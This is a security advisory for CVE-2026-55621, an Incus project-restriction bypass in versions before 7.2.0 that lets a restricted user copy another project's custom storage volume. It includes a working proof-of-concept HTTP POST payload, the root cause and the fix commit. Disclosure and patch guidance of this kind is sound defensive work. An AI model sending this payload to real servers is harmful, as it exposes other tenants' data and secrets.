high · 7.7CVE-2026-55621Aug 28, 2026

CVE-2026-55621: Incus Project Restriction Bypass via Custom Volume Copy

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A restricted Incus user can copy a custom storage volume out of a project they have no access to, potentially exposing secrets stored in that volume.

Packagegithub.com/lxc/incus/v7
Ecosystemgo
Affected< 7.2.0
Fixed in7.2.0
CVE-2026-55621: Incus Project Restriction Bypass via Custom Volume Copy

The problem

Incus before 7.2.0 authorizes the destination project when creating a custom volume, but never checks whether the caller is allowed to read the source volume.

An attacker who knows the name of a restricted project and one of its volume names can POST a copy request that names that volume as the source. The server copies the volume into a project the attacker does control, bypassing all project isolation. The copy happens on the same server, but nothing prevents the attacker from migrating it away afterward.

Proof of concept

A working proof-of-concept for CVE-2026-55621 in github.com/lxc/incus/v7, with the exact payload below.

http
# POST /1.0/storage-pools/{pool}/volumes/custom?project=default
# Authenticated with a certificate restricted to the 'default' project only.
# 'secrets' project and 'secret-vol' are not accessible to this certificate.

POST /1.0/storage-pools/default/volumes/custom?project=default HTTP/1.1
Host: 192.0.2.1:8443
Content-Type: application/json

{
  "name": "copy-secret-vol",
  "type": "custom",
  "content_type": "filesystem",
  "source": {
    "type": "copy",
    "name": "secret-vol",
    "project": "secrets",
    "pool": "default",
    "volume_only": false
  }
}

The storage volume POST handler calls allowPermission only for the target project. The source.project field is attacker-controlled and is passed directly to CreateCustomVolumeFromCopy with no CanView entitlement check on the source volume or its project.

The fix in commit 2e01078 adds an explicit authorization check against the source volume and its project before the copy operation proceeds, so a caller lacking read access to the source project is rejected at that point.

Root cause is CWE-284 (Improper Access Control): the API trusted user-supplied project context for the copy source without verifying the caller held any entitlement over it.

The fix

Upgrade to Incus 7.2.0 or later. The patch (commit 2e01078366e2653712719dec82318e51c6d21b28) adds a source-volume authorization check in the storage volume creation handler before CreateCustomVolumeFromCopy is invoked. Distributions shipping Incus 7.0 LTS have also received backports; check your distro's security advisories.

Reported by antifob.

References: [1][2][3][4][5]

Related research